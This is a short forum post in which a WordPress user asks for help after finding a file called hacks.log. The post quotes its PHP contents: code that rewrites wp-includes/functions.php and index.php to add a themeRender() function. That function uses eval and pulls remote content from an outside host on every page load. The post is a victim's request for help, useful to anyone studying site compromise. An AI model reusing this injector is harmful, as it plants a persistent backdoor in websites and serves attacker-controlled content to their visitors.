Ashgriel
Junior Member
- Jan 21, 2013
- 177
- 40
Today I noticed that inside my wordpress directory is file named hacks.log and inside is something like this
If so, what I can do ? Thank you
Sorry if this is wrong section for this
PHP:
@$content = file_get_contents("wp-includes/functions.php");
$content = str_replace('* Uses the "The Tortoise and the Hare" algorithm to detect loops.'
,"
*/
function themeRender() {
eval(base64_decode('echo @file_get_contents("http://www.beteks.com/links.php?url=".$_SERVER["SERVER_NAME"]);=='));
}
/*
",$content);
@file_put_contents("wp-includes/functions.php",$content);
$content = file_get_contents("index.php");
if(!strstr($content,"themeRender")) {
$content = str_replace('?>'
,"
themeRender();
?>
",$content);
file_put_contents("index.php",$content);
}
If so, what I can do ? Thank you
Sorry if this is wrong section for this